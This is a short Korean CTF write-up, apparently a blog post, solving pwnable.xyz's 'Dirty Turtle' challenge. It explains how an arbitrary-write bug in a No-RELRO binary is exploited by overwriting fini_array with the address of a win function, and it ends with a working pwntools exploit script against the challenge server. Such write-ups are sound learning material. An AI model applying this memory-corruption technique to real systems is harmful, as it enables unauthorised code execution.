WAR GAME/pwnable.xyz

[pwnable.xyz] Dirty Turtle 풀이 (*)

jir4vvit 2021. 6. 1. 22:15
문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

처음에 문제 이름만 보고 풀이가 좀 더러운 문제인가..? 싶었다 ㅎ.


Analysis

보호 기법 확인

No 렐로

Execution

뭔가 원하는 주소에 원하는 값을 넣을 수 있게 생겼다.

Code

오호, 원하는 주소에 원하는 값을 넣을 수 있다.

게다가 flag를 출력해주는 win함수도 있다.

 

no relro였으니, 어떤 함수 got에다가 저 주소를 넣어주면 될 듯 하다.

그런데 딱히 덮을만한 got가 없다..!

그러면 fini_array 덮어야지 

Exploit Scenario

1. fini_array에 win주소 넣기


아 그런데, get_val 함수 리턴값이 뭐길래 처음에 자꾸 v5 변수에 그냥 0이 들어갔었다.

정체는 strtoull함수였고, 이 함수는 스트링 문자열을 unsigned long intger로 바꿔준다고 한다.

그래서 값 넣을 때 str()로 감싸서 넣어줘야 한다.

Get Flag!

from pwn import * 

#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30033)
e = ELF('./challenge')

pause()
p.sendafter('Addr: ', str(0x600bc0) )
pause()
p.sendafter('Value: ', str(e.symbols['win']))

p.interactive()

 

 

fini_array 공부해야한다..

잘 모른다 뭔지..